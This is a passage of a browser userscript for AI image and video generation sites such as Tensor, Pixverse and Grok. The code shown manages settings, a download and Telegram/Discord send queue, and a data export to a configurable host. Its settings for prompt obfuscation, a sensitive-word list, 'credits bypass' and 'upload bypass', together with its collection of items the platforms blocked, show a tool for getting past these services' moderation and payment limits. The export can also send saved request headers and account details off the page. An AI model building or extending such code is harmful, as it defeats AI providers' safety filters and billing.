        payload[key] = JSON.parse(JSON.stringify(value));
      } else {
        payload[key] = value;
      }
    });
    return payload;
  }

  function normalizeSharedExternalPlatformSettings(raw) {
    if (!raw || typeof raw !== 'object') return null;

    const booleanKeys = [
      'showPixverseUi',
      'showGrokUi',
      'showHiggsfieldUi',
      'showHailuoUi',
      'pixverseEnableUiLogs',
      'pixverseEnablePromptObfuscation',
      'pixverseEnableCreditsBypass',
      'pixverseEnableUploadBypass',
      'pixverseEnableWatermarkButton',
      'pixverseCaptureMediaLinks',
      'grokEnableUiLogs',
      'grokInterceptorEnabled',
      'grokCaptureMediaLinks',
      'higgsfieldEnableUiLogs',
      'higgsfieldEnablePromptObfuscation',
      'higgsfieldCaptureJobs',
      'higgsfieldCaptureSouls',
      'higgsfieldAutoRefreshItems',
      'hailuoEnableUiLogs',
      'hailuoCaptureMediaLinks',
      'hailuoAutoRefreshItems'
    ];
    const numberKeys = ['pixverseMaxLogs', 'grokMaxLogs', 'higgsfieldMaxLogs', 'hailuoMaxLogs'];

    const normalized = {};

    booleanKeys.forEach((key) => {
      if (typeof raw[key] === 'boolean') normalized[key] = raw[key];
    });

    numberKeys.forEach((key) => {
      if (typeof raw[key] === 'number' && Number.isFinite(raw[key])) {
        normalized[key] = raw[key];
      }
    });

    if (Array.isArray(raw.pixverseSensitiveWords)) {
      normalized.pixverseSensitiveWords = raw.pixverseSensitiveWords.map(v => String(v || '').trim()).filter(Boolean);
    }

    return normalized;
  }

  function applySharedExternalPlatformSettings(payload) {
    const normalized = normalizeSharedExternalPlatformSettings(payload);
    if (!normalized) return false;

    let changed = false;
    Object.entries(normalized).forEach(([key, value]) => {
      const nextValue = Array.isArray(value) ? value.slice() : value;
      if (JSON.stringify(settings[key]) !== JSON.stringify(nextValue)) {
        settings[key] = nextValue;
        changed = true;
      }
    });

    return changed;
  }

  function loadSharedExternalPlatformSettings() {
    const raw = readSharedScriptStoreSync(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, null);
    if (!raw) return false;
    const changed = applySharedExternalPlatformSettings(raw);
    if (changed) {
      try {
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      } catch {
        // ignore
      }
    }
    return changed;
  }

  function persistSharedExternalPlatformSettings() {
    writeSharedScriptStore(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, buildSharedExternalPlatformSettingsPayload());
  }

  function getCurrentExternalUiSettingKey() {
    if (IS_PIXVERSE_DOMAIN) return 'showPixverseUi';
    if (IS_GROK_DOMAIN) return 'showGrokUi';
    if (IS_HIGGSFIELD_DOMAIN) return 'showHiggsfieldUi';
    if (IS_HAILUO_DOMAIN) return 'showHailuoUi';
    return null;
  }

  function shouldShowUiOnCurrentDomain() {
    if (IS_TENSOR_DOMAIN) return true;
    if (IS_DIGEN_DOMAIN) return !!showUIOnOtherPlatfrms;
    const key = getCurrentExternalUiSettingKey();
    if (!key) return true;
    return !!showUIOnOtherPlatfrms && !!settings[key];
  }

  function buildSharedNotificationSettingsPayload() {
    return {
      telegramEnabled: !!settings.telegramEnabled,
      telegramToken: String(settings.telegramToken || ''),
      telegramChatId: String(settings.telegramChatId || ''),
      discordEnabled: !!settings.discordEnabled,
      discordWebhook: String(settings.discordWebhook || '')
    };
  }

  function normalizeSharedNotificationPayload(raw) {
    if (!raw || typeof raw !== 'object') return null;
    return {
      telegramEnabled: typeof raw.telegramEnabled === 'boolean' ? raw.telegramEnabled : undefined,
      telegramToken: typeof raw.telegramToken === 'string' ? raw.telegramToken : undefined,
      telegramChatId: typeof raw.telegramChatId === 'string' ? raw.telegramChatId : undefined,
      discordEnabled: typeof raw.discordEnabled === 'boolean' ? raw.discordEnabled : undefined,
      discordWebhook: typeof raw.discordWebhook === 'string' ? raw.discordWebhook : undefined
    };
  }

  function readSharedNotificationPayloadSync() {
    try {
      if (typeof GM_getValue !== 'function') return null;
      const raw = GM_getValue(SHARED_NOTIFICATIONS_STORE_KEY, null);
      if (!raw) return null;
      if (typeof raw === 'string') {
        return normalizeSharedNotificationPayload(JSON.parse(raw));
      }
      return normalizeSharedNotificationPayload(raw);
    } catch {
      return null;
    }
  }

  function applySharedNotificationPayload(payload) {
    const data = normalizeSharedNotificationPayload(payload);
    if (!data) return false;

    let changed = false;
    const apply = (key, value) => {
      if (value === undefined) return;
      if (settings[key] !== value) {
        settings[key] = value;
        changed = true;
      }
    };

    apply('telegramEnabled', data.telegramEnabled);
    apply('telegramToken', data.telegramToken);
    apply('telegramChatId', data.telegramChatId);
    apply('discordEnabled', data.discordEnabled);
    apply('discordWebhook', data.discordWebhook);

    return changed;
  }

  function persistSharedNotificationSettings() {
    const payload = buildSharedNotificationSettingsPayload();

    try {
      if (typeof GM_setValue === 'function') {
        GM_setValue(SHARED_NOTIFICATIONS_STORE_KEY, payload);
      }
    } catch {
      // ignore
    }

    try {
      if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
        GM.setValue(SHARED_NOTIFICATIONS_STORE_KEY, payload).catch(() => {});
      }
    } catch {
      // ignore
    }
  }

  function bootstrapSharedNotificationSettings() {
    const globalPayload = readSharedNotificationPayloadSync();

    if (globalPayload) {
      const changed = applySharedNotificationPayload(globalPayload);
      if (changed) {
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      }
      return;
    }

    // First run / migration: seed global store from current local settings.
    persistSharedNotificationSettings();
  }

  function loadTaskActions() {
    if (taskActionsCache) return taskActionsCache;
    try {
      taskActionsCache = JSON.parse(localStorage.getItem(TASK_ACTIONS_KEY) || '{}');
    } catch {
      taskActionsCache = {};
    }
    if (!Array.isArray(taskActionsCache.items)) taskActionsCache.items = [];
    if (typeof taskActionsCache.paused !== 'boolean') taskActionsCache.paused = false;
    return taskActionsCache;
  }

  function saveTaskActions() {
    localStorage.setItem(TASK_ACTIONS_KEY, JSON.stringify(taskActionsCache || { items: [], paused: false }));
  }

  function getItemMetaFromId(imageId) {
    const meta = itemMap.get(imageId) || {};
    return {
      imageId,
      taskId: meta.taskId || meta.routeId || null,
      mimeType: meta.mimeType || 'image/*',
      width: meta.width || null,
      height: meta.height || null,
      downloadFileName: meta.downloadFileName || null,
      workflowTemplateInfo: meta.workflowTemplateInfo || null,
      workflowInfo: meta.workflowInfo || null,
      visualParameters: meta.visualParameters || [],
      parameters: meta.parameters || null,
      workspaceType: meta.workspaceType || null
    };
  }

  function findTaskActionEntry(action, imageId) {
    const cache = loadTaskActions();
    return cache.items.find(entry => entry.action === action && entry.imageId === imageId) || null;
  }

  function upsertTaskAction(entry) {
    const cache = loadTaskActions();
    const existingIndex = cache.items.findIndex(item => item.action === entry.action && item.imageId === entry.imageId);
    if (existingIndex >= 0) {
      cache.items[existingIndex] = { ...cache.items[existingIndex], ...entry, updatedAt: Date.now() };
    } else {
      cache.items.unshift({ ...entry, createdAt: Date.now(), updatedAt: Date.now() });
    }
    saveTaskActions();
    if (isExpanded) {
      updateHomeProgressUI();
      updateTasksTabUI();
      refreshSelectionUI();
    }
  }

  function enqueueTaskAction(action, imageId, meta = {}, allowDuplicate = false) {
    if (!imageId || !action) return false;
    const existing = findTaskActionEntry(action, imageId);
    if (!allowDuplicate && existing && ['queued', 'in-progress', 'done'].includes(existing.status)) {
      return false;
    }

    upsertTaskAction({
      action,
      imageId,
      status: 'queued',
      attempts: 0,
      nextRunAt: null,
      error: null,
      ...meta
    });
    updateGlobalActionProgressFromQueue();
    processTaskActionQueue();
    return true;
  }

  function markTaskActionDone(action, imageId, status = 'done', meta = {}) {
    if (!imageId || !action) return;
    upsertTaskAction({
      action,
      imageId,
      status,
      ...meta
    });
    if (status === 'failed') {
      updateMediaStatus(imageId, {
        [`${action}Error`]: true,
        lastError: meta?.error || 'Failed'
      });
    }
    if (status === 'done') {
      updateMediaStatus(imageId, {
        [`${action}Error`]: false,
        lastError: null
      });
    }
    updateGlobalActionProgressFromQueue();
  }

  function getTaskActionStats() {
    const cache = loadTaskActions();
    const total = cache.items.length;
    const queued = cache.items.filter(item => item.status === 'queued').length;
    const inProgress = cache.items.filter(item => item.status === 'in-progress').length;
    const failed = cache.items.filter(item => item.status === 'failed').length;
    const done = cache.items.filter(item => item.status === 'done').length;
    const current = cache.items.find(item => item.status === 'in-progress') || null;
    return { total, queued, inProgress, failed, done, current };
  }

  function getTaskActionStatsForTask(taskId) {
    if (!taskId) return null;
    const cache = loadTaskActions();
    const items = cache.items.filter(item => item.taskId === taskId);
    if (!items.length) return { total: 0, queued: 0, inProgress: 0, done: 0, failed: 0, current: null };
    const queued = items.filter(item => item.status === 'queued').length;
    const inProgress = items.filter(item => item.status === 'in-progress').length;
    const failed = items.filter(item => item.status === 'failed').length;
    const done = items.filter(item => item.status === 'done').length;
    const current = items.find(item => item.status === 'in-progress') || null;
    return { total: items.length, queued, inProgress, failed, done, current };
  }

  function getTaskActionLabel(action) {
    if (action === 'telegram') return 'Sending TG';
    if (action === 'discord') return 'Sending Discord';
    if (action === 'download') return 'Downloading';
    return 'Processing';
  }

  function updateTaskActionPanelsStatus() {
    const panels = document.querySelectorAll('[data-bypass-task-actions]');
    if (!panels.length) return;
    panels.forEach(panel => {
      const taskId = panel.getAttribute('data-bypass-task-actions');
      if (!taskId) return;
      const statusEl = panel.querySelector('[data-bypass-task-action-status]');
      if (!statusEl) return;
      const stats = getTaskActionStatsForTask(taskId);
      if (!stats || !stats.total) {
        statusEl.textContent = 'Ready';
        return;
      }
      const completed = stats.done + stats.failed;
      if (stats.current) {
        const label = getTaskActionLabel(stats.current.action);
        statusEl.textContent = `${label}… (${completed}/${stats.total})${stats.failed ? ` • Failed ${stats.failed}` : ''}`;
        return;
      }
      if (stats.queued > 0) {
        statusEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
        return;
      }
      statusEl.textContent = stats.failed
        ? `Completed ${stats.done}/${stats.total} • Failed ${stats.failed}`
        : `Completed ${stats.done}/${stats.total} • Success`;
    });
  }

  function updateGlobalActionProgressFromQueue() {
    updateTaskActionPanelsStatus();
    const stats = getTaskActionStats();
    const progressBar = document.querySelector('.bypass-global-progress');
    if (!progressBar) return;
    const textEl = progressBar.querySelector('[data-bypass-progress-text]');
    const barEl = progressBar.querySelector('[data-bypass-progress-bar]');
    const previewHost = progressBar.querySelector('[data-bypass-progress-preview]');
    const completed = stats.done + stats.failed;
    const percent = stats.total ? Math.round((completed / stats.total) * 100) : 0;
    const activeCount = stats.queued + stats.inProgress;
    if (!activeCount) {
      progressBar.style.display = 'none';
      if (textEl) textEl.textContent = 'Idle';
      if (barEl) barEl.style.width = '0%';
      if (previewHost) previewHost.style.display = 'none';
      return;
    }
    progressBar.style.display = 'block';
    if (textEl) {
      if (stats.current) {
        textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
      } else if (stats.total) {
        textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
      } else {
        textEl.textContent = 'Idle';
      }
    }
    if (barEl) barEl.style.width = `${percent}%`;

    if (previewHost) {
      const current = stats.current;
      if (!settings.showDownloadPreview || !current || !['download', 'telegram', 'discord'].includes(current.action)) {
        previewHost.style.display = 'none';
      } else {
        previewHost.style.display = 'block';
        previewHost.innerHTML = '';

        const wrap = document.createElement('div');
        wrap.className = 'bypass-download-preview';

        const mediaWrap = document.createElement('div');
        mediaWrap.className = 'bypass-download-preview-media';
        mediaWrap.textContent = 'Loading...';

        const info = document.createElement('div');
        info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
        const actionLabel = current.action === 'telegram'
          ? 'Sending to Telegram'
          : current.action === 'discord'
            ? 'Sending to Discord'
            : 'Downloading';
        info.innerHTML = `
          <div><strong style="color:#cbd5e1;">${actionLabel}</strong></div>
          <div>ID: ${current.imageId}</div>
        `;

        wrap.appendChild(mediaWrap);
        wrap.appendChild(info);
        previewHost.appendChild(wrap);

        const updateMedia = (url) => {
          if (!url || downloadPreviewCache.imageId !== current.imageId) {
            mediaWrap.textContent = 'Preview unavailable';
            return;
          }
          const isVideo = current.mimeType?.startsWith('video/');
          mediaWrap.innerHTML = '';
          if (isVideo) {
            const vid = document.createElement('video');
            vid.src = url;
            vid.muted = true;
            vid.autoplay = true;
            vid.loop = true;
            vid.playsInline = true;
            mediaWrap.appendChild(vid);
          } else {
            const img = document.createElement('img');
            img.src = url;
            mediaWrap.appendChild(img);
          }
        };

        if (downloadPreviewCache.imageId === current.imageId && downloadPreviewCache.url) {
          updateMedia(downloadPreviewCache.url);
        } else {
          downloadPreviewCache = { imageId: current.imageId, url: null, mimeType: current.mimeType || '' };
          ensureDownloadUrl(current.imageId, current.mimeType || '').then(url => {
            downloadPreviewCache.url = url;
            updateMedia(url);
          });
        }
      }
    }
  }

  async function processTaskActionQueue() {
    const cache = loadTaskActions();
    if (taskActionProcessing || cache.paused) return;

    const now = Date.now();
    const queued = cache.items.filter(item => item.status === 'queued');
    const next = queued.find(item => !item.nextRunAt || Number(item.nextRunAt) <= now) || null;
    if (!next) {
      // Everything queued is waiting for a future time.
      const nextTs = queued
        .map(item => Number(item.nextRunAt) || 0)
        .filter(ts => ts > now)
        .sort((a, b) => a - b)[0];
      if (nextTs) {
        if (taskActionQueueWakeTimer) clearTimeout(taskActionQueueWakeTimer);
        const delay = Math.max(50, Math.min(60 * 1000, nextTs - now));
        taskActionQueueWakeTimer = setTimeout(() => {
          taskActionQueueWakeTimer = null;
          processTaskActionQueue();
        }, delay);
      }
      return;
    }

    // If we found a runnable item, clear any stale wake timer.
    if (taskActionQueueWakeTimer) {
      clearTimeout(taskActionQueueWakeTimer);
      taskActionQueueWakeTimer = null;
    }
    taskActionProcessing = true;
    next.status = 'in-progress';
    next.updatedAt = Date.now();
    saveTaskActions();
    updateGlobalActionProgressFromQueue();
    if (isExpanded) {
      updateHomeProgressUI();
      updateTasksTabUI();
      refreshSelectionUI();
    }

    const scheduleRetry = (errorMessage, retryAfterMs = null) => {
      const attempt = (Number(next.attempts) || 0) + 1;
      const maxRetries = clampNumber(settings.queueMaxRetries, 0, 25, 2);
      const autoRetry = !!settings.queueAutoRetry;

      const meta = getItemMetaFromId(next.imageId);
      if (!autoRetry || attempt > maxRetries) {
        markTaskActionDone(next.action, next.imageId, 'failed', { ...meta, error: errorMessage || 'Failed' });
        return;
      }

      const computedDelay = computeBackoffMs(attempt, settings.queueRetryBaseDelayMs, settings.queueRetryMaxDelayMs, settings.queueRetryJitterMs);
      const delay = Number.isFinite(Number(retryAfterMs)) ? clampNumber(retryAfterMs, 0, 24 * 60 * 60 * 1000, computedDelay) : computedDelay;

      upsertTaskAction({
        action: next.action,
        imageId: next.imageId,
        status: 'queued',
        attempts: attempt,
        error: errorMessage || null,
        nextRunAt: Date.now() + delay
      });

      devLog('queue', 'Scheduled retry for task action', { action: next.action, imageId: next.imageId, attempt, delayMs: delay, error: errorMessage }, 'warning', 'developer');
    };

    try {
      const meta = getItemMetaFromId(next.imageId);
      if (next.action === 'download') {
        await downloadMediaById(next.imageId, next.mimeType || meta.mimeType);
        markTaskActionDone('download', next.imageId, 'done', { ...meta, attempts: next.attempts || 0, nextRunAt: null, error: null });
      }
      if (next.action === 'telegram') {
        const url = await ensureDownloadUrl(next.imageId, next.mimeType || meta.mimeType || '');
        if (!url) throw new Error('No URL');
        const size = meta.width && meta.height ? `${meta.width}x${meta.height}` : '';
        const result = await sendToTelegram(url, next.mimeType || meta.mimeType, meta.taskId, null, size, next.imageId, {
          workspaceType: meta.workspaceType,
          templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
          templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
        });
        if (result?.ok) {
          markTaskActionDone('telegram', next.imageId, 'done', { ...meta, sentMode: result.mode || 'media', attempts: next.attempts || 0, nextRunAt: null, error: null });
        } else {
          scheduleRetry(result?.error || 'Telegram send failed', result?.retryAfterMs || null);
        }
      }
      if (next.action === 'discord') {
        const url = await ensureDownloadUrl(next.imageId, next.mimeType || meta.mimeType || '');
        if (!url) throw new Error('No URL');
        const size = meta.width && meta.height ? `${meta.width}x${meta.height}` : '';
        const result = await sendToDiscord(url, next.mimeType || meta.mimeType, meta.taskId, null, size, next.imageId, {
          workspaceType: meta.workspaceType,
          templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
          templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
        });
        if (result?.ok) {
          markTaskActionDone('discord', next.imageId, 'done', { ...meta, sentMode: result.mode || 'media', attempts: next.attempts || 0, nextRunAt: null, error: null });
        } else {
          scheduleRetry(result?.error || 'Discord send failed', result?.retryAfterMs || null);
        }
      }
    } catch (err) {
      scheduleRetry(err?.message || String(err) || 'Failed');
    } finally {
      taskActionProcessing = false;
      updateGlobalActionProgressFromQueue();
      processTaskActionQueue();
    }
  }

  function cacheTasks(tasks) {
    if (!Array.isArray(tasks) || tasks.length === 0) return;
    let cache = {};
    try {
      cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY)) || {};
    } catch {
      cache = {};
    }

    for (const task of tasks) {
      if (!task) continue;
      const key = task.taskId || task.routeId;
      if (!key) continue;
      cache[key] = task; // update/overwrite
    }

    localStorage.setItem(TASK_CACHE_KEY, JSON.stringify(cache));
  }

  function mergeTasksIntoItems(tasks, sourceLabel, options = {}) {
    if (!Array.isArray(tasks) || tasks.length === 0) return { added: 0, updated: 0 };
    const { autoShow = settings.autoShowPanel, updateUIAfter = true } = options;
    const itemMapLocal = new Map(itemsData.map(item => [item.id, item]));
    let added = 0;
    let updated = 0;

    for (const task of tasks) {
      recordTaskData(task);
      if (!task?.items?.length) continue;
      for (const currentItem of task.items) {
        if (!isForbidden(currentItem) && !currentItem?.blockedOnOrigin) continue;
        blockedItems.add(currentItem.imageId);

        const existing = itemMapLocal.get(currentItem.imageId);
        const nextData = {
          id: currentItem.imageId,
          mimeType: currentItem.mimeType,
          type: getItemType(currentItem.mimeType),
          taskId: task.routeId || task.taskId || 'N/A',
          createdAt: task.createdAt || null,
          expiresAt: task.expireAt || task.expiresAt || null,
          width: currentItem.width,
          height: currentItem.height,
          url: existing?.url || null,
          downloadFileName: currentItem.downloadFileName || existing?.downloadFileName || null,
          workflowTemplateInfo: task.workflowTemplateInfo || existing?.workflowTemplateInfo || null,
          visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : (existing?.visualParameters || []),
          parameters: task.parameters || existing?.parameters || null,
          workspaceType: task.workspaceType || existing?.workspaceType || null
        };

        if (existing) {
          Object.assign(existing, nextData);
          updated += 1;
        } else {
          itemMapLocal.set(currentItem.imageId, nextData);
          added += 1;
        }
      }
    }

    if (added > 0 || updated > 0) {
      itemsData = Array.from(itemMapLocal.values()).sort((a, b) => b.id.localeCompare(a.id));
      updateCollapseBtnWithItems();
      if (added > 0 && domInjectDebug) {
        console.log(`[InjectDOM][${sourceLabel}] New blocked items`, added);
      }
      if (autoShow && added > 0 && !isExpanded) {
        toggleExpand();
      }
      if (updateUIAfter) {
        updateUI();
      }
    }

    return { added, updated };
  }

  function loadTasksFromCache() {
    let cache = {};
    try {
      cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY)) || {};
    } catch {
      cache = {};
    }
    const tasks = Object.values(cache);
    if (!tasks.length) return false;

    logActiveTokenUsage('loadTasksFromCache');

    const result = mergeTasksIntoItems(tasks, 'Cache', { autoShow: false, updateUIAfter: false });
    return result.added > 0 || result.updated > 0;
  }

  function startAutoCheck() {
    if (autoCheckInterval) {
      clearInterval(autoCheckInterval);
    }
    if (settings.autoCheck && settings.autoCheckInterval > 0) {
      autoCheckInterval = setInterval(() => {
        console.log('Auto-checking for new items...');
      }, settings.autoCheckInterval * 1000);
    }
  }

  function stopAutoCheck() {
    if (autoCheckInterval) {
      clearInterval(autoCheckInterval);
      autoCheckInterval = null;
    }
  }

  function normalizeTimestamp(value) {
    if (!value) return null;
    const num = Number(value);
    if (Number.isNaN(num)) return null;
    return num < 1000000000000 ? num * 1000 : num;
  }

  function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  function clampNumber(value, min, max, fallback) {
    const n = Number(value);
    if (!Number.isFinite(n)) return fallback;
    return Math.min(max, Math.max(min, n));
  }

  function computeBackoffMs(attempt, baseMs, maxMs, jitterMs) {
    const base = clampNumber(baseMs, 0, 10 * 60 * 1000, 2000);
    const max = clampNumber(maxMs, base, 60 * 60 * 1000, 60000);
    const jitter = clampNumber(jitterMs, 0, 5000, 350);
    const exp = Math.min(max, base * Math.pow(2, Math.max(0, attempt - 1)));
    const j = jitter ? Math.round((Math.random() * 2 - 1) * jitter) : 0;
    return Math.max(0, Math.min(max, exp + j));
  }

  function formatShortDuration(ms) {
    const s = Math.max(0, Math.round(ms / 1000));
    if (s < 60) return `${s}s`;
    const m = Math.floor(s / 60);
    const rem = s % 60;
    if (m < 60) return `${m}m ${rem}s`;
    const h = Math.floor(m / 60);
    const mm = m % 60;
    return `${h}h ${mm}m`;
  }

  async function tryReadJsonSafe(response) {
    try {
      const txt = await response.text();
      try {
        return { json: JSON.parse(txt), text: txt };
      } catch {
        return { json: null, text: txt };
      }
    } catch {
      return { json: null, text: '' };
    }
  }

  // ============================================================================
  // SHARED/CROSEE NETWORK SAVE
  // ============================================================================

  function sharedNetLog(level, message, details = null) {
    const entry = {
      ts: new Date().toISOString(),
      level: level || 'info',
      message: String(message || ''),
      details: details ?? null
    };
    sharedNetworkLogs.unshift(entry);
    if (sharedNetworkLogs.length > SHARED_NETWORK_MAX_LOGS) {
      sharedNetworkLogs.length = SHARED_NETWORK_MAX_LOGS;
    }
    sharedNetScheduleTabRefresh();
  }

  function sharedNetSetProgress(visible, current = 0, total = 0, label = '') {
    sharedNetworkProgress = {
      visible: !!visible,
      current: Math.max(0, Number(current) || 0),
      total: Math.max(0, Number(total) || 0),
      label: String(label || '')
    };
    sharedNetScheduleTabRefresh();
  }

  function sharedNetScheduleTabRefresh() {
    try {
      if (!isExpanded || currentTab !== 'sharedNetwork') return;
      if (sharedNetworkTabRefreshQueued) return;
      sharedNetworkTabRefreshQueued = true;
      requestAnimationFrame(() => {
        sharedNetworkTabRefreshQueued = false;
        sharedNetRenderSharedNetworkTabInPlace();
      });
    } catch {
      // ignore
    }
  }

  function sharedNetRenderSharedNetworkTabInPlace() {
    try {
      if (!isExpanded || currentTab !== 'sharedNetwork') return;
      const root = document.querySelector('[data-bypass-sharednet-root]');
      if (!root) return;
      const colors = getThemeColors();

      const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
      const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;

      const cfg = root.querySelector('[data-bypass-sharednet-cfg]');
      if (cfg) {
        cfg.innerHTML = `
          <div><strong style="color:${colors.text};">Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
          <div><strong style="color:${colors.text};">Method:</strong> ${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())} • <strong style="color:${colors.text};">Payload:</strong> ${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</div>
          <div><strong style="color:${colors.text};">Localhost:</strong> <span style="color:${isLocal ? colors.success : colors.warning}; font-weight:700;">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></div>
        `;
      }

      const warn = root.querySelector('[data-bypass-sharednet-warn]');
      if (warn) {
        warn.style.display = settings.sharedNetworkHost && !isLocal ? 'block' : 'none';
      }

      const statusLeft = root.querySelector('[data-bypass-sharednet-status-left]');
      if (statusLeft) {
        const httpStatusText = sharedNetworkHttpStatus.checkedAt
          ? `${sharedNetworkHttpStatus.ok ? 'OK' : 'FAIL'}${sharedNetworkHttpStatus.status ? ` (${sharedNetworkHttpStatus.status})` : ''} • ${new Date(sharedNetworkHttpStatus.checkedAt).toLocaleTimeString()}`
          : 'Not checked yet';
        const wsStatusText = sharedNetworkWsState.status || 'disconnected';
        statusLeft.innerHTML = `
          <div><strong style="color:${colors.text};">HTTP health:</strong> ${escapeHtml(httpStatusText)}${sharedNetworkHttpStatus.error ? ` • ${escapeHtml(String(sharedNetworkHttpStatus.error).slice(0, 120))}` : ''}</div>
          <div><strong style="color:${colors.text};">WS:</strong> ${escapeHtml(wsStatusText)}${sharedNetworkWsState.url ? ` • <span style="font-family:monospace;">${escapeHtml(sharedNetworkWsState.url)}</span>` : ''}</div>
        `;
      }

      const progress = root.querySelector('[data-bypass-sharednet-progress]');
      if (progress) {
        progress.style.display = sharedNetworkProgress.visible ? 'grid' : 'none';
        const pct = sharedNetworkProgress.total > 0
          ? Math.max(0, Math.min(100, Math.round((sharedNetworkProgress.current / sharedNetworkProgress.total) * 100)))
          : 0;
        progress.innerHTML = `
          <div style="display:flex; align-items:center; justify-content:space-between; gap:10px; font-size:11px; color:${colors.textSecondary};">
            <div style="min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(sharedNetworkProgress.label || 'Working…')}</div>
            <div style="font-family:monospace;">${escapeHtml(String(sharedNetworkProgress.current))}/${escapeHtml(String(sharedNetworkProgress.total))}</div>
          </div>
          <div style="height:10px; border-radius:999px; background: rgba(148,163,184,0.18); overflow:hidden;">
            <div style="height:100%; width:${pct}%; background:${colors.primary}; border-radius:999px;"></div>
          </div>
        `;
      }

      const logsHeaderCount = root.querySelector('[data-bypass-sharednet-logs-count]');
      if (logsHeaderCount) logsHeaderCount.textContent = `${sharedNetworkLogs.length} entries`;

      const logsBody = root.querySelector('[data-bypass-sharednet-logs-body]');
      if (logsBody) {
        const levelColor = (lvl) => {
          const v = String(lvl || '').toLowerCase();
          if (v === 'error') return '#ef4444';
          if (v === 'warning') return '#f59e0b';
          if (v === 'success') return '#10b981';
          return colors.textSecondary;
        };
        logsBody.innerHTML = '';
        if (!sharedNetworkLogs.length) {
          logsBody.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px; padding:14px; text-align:center;">No logs yet.</div>`;
        } else {
          sharedNetworkLogs.slice(0, 200).forEach(entry => {
            const row = document.createElement('div');
            row.style.cssText = `
              display:grid;
              grid-template-columns: 78px 1fr;
              gap:10px;
              padding:6px 0;
              border-bottom: 1px dashed rgba(148,163,184,0.18);
              font-size: 11px;
              color: ${colors.textSecondary};
            `;
            const time = document.createElement('div');
            time.style.cssText = `font-family:monospace; color:${levelColor(entry.level)};`;
            time.textContent = (entry.ts || '').slice(11, 19);
            const msg = document.createElement('div');
            msg.style.cssText = 'min-width:0; white-space:pre-wrap; word-break:break-word;';
            const details = entry.details ? `\n${JSON.stringify(entry.details, null, 0).slice(0, 4000)}` : '';
            msg.textContent = `${entry.message}${details}`;
            row.appendChild(time);
            row.appendChild(msg);
            logsBody.appendChild(row);
          });
        }
      }
    } catch (e) {
      console.warn('[SharedNet] in-place render failed', e);
    }
  }

  function sharedNetIsConfigured() {
    return !!settings.sharedNetworkEnabled && typeof settings.sharedNetworkHost === 'string' && !!settings.sharedNetworkHost.trim();
  }

  function sharedNetNormalizeHttpBaseUrl(input) {
    const raw = String(input || '').trim();
    if (!raw) return null;
    const withScheme = /^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(raw) ? raw : `http://${raw}`;
    try {
      const u = new URL(withScheme);
      if (!u.protocol || !/^https?:$/.test(u.protocol)) return null;
      // Normalize: ensure no trailing slash so URL(path, base) behaves predictably.
      u.hash = '';
      return u.toString().replace(/\/+$/, '');
    } catch {
      return null;
    }
  }

  function sharedNetNormalizeWsUrl(input) {
    const raw = String(input || '').trim();
    if (!raw) return null;
    const withScheme = /^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(raw) ? raw : `ws://${raw}`;
    try {
      const u = new URL(withScheme);
      if (!u.protocol || !/^wss?:$/.test(u.protocol)) return null;
      u.hash = '';
      return u.toString();
    } catch {
      return null;
    }
  }

  function sharedNetJoinUrl(baseUrl, pathOrUrl) {
    const base = String(baseUrl || '').trim();
    const path = String(pathOrUrl || '').trim();
    if (!base) return null;
    if (!path) return base;
    try {
      // If path is absolute, URL() will keep it; otherwise it resolves relative to base.
      return new URL(path, base.endsWith('/') ? base : `${base}/`).toString();
    } catch {
      return null;
    }
  }

  function sharedNetIsLocalhostUrl(urlStr) {
    try {
      const u = new URL(String(urlStr || ''));
      const host = (u.hostname || '').toLowerCase();
      if (host === 'localhost' || host === '::1') return true;
      if (/^127\./.test(host)) return true;
      return false;
    } catch {
      return false;
    }
  }

  function sharedNetBuildEnvelope(payload, meta = {}) {
    const env = {
      type: 'tensor-shared-network-export',
      version: SCRIPT_VERSION,
      exportedAt: new Date().toISOString(),
      payload
    };

    const httpBase = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
    if (settings.sharedNetworkIncludePageContext) {
      env.page = {
        href: location.href,
        origin: location.origin,
        host: location.host,
        title: document.title
      };
    }
    if (settings.sharedNetworkIncludeUserId) {
      const summary = getAccountSummaryForToken(userToken);
      env.user = {
        tokenPreview: userToken ? tokenPreview(userToken) : null,
        userId: summary?.userId || null,
        nickname: summary?.nickname || null
      };
    }
    if (settings.sharedNetworkIncludeTensorHeaders) {
      env.tensorHeaders = deepCloneValue(settings.headers || {});
    }

    if (meta && typeof meta === 'object') {
      env.meta = deepCloneValue(meta);
    }
    // Add a quick safety hint for the receiver.
    env.security = {
      localhost: httpBase ? sharedNetIsLocalhostUrl(httpBase) : false
    };
    return env;
  }

  async function sharedNetHttpSend(envelope, filename = null) {
    const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
    const uploadUrl = sharedNetJoinUrl(base, settings.sharedNetworkHttpUploadPath);
    if (!uploadUrl) throw new Error('Invalid upload URL');

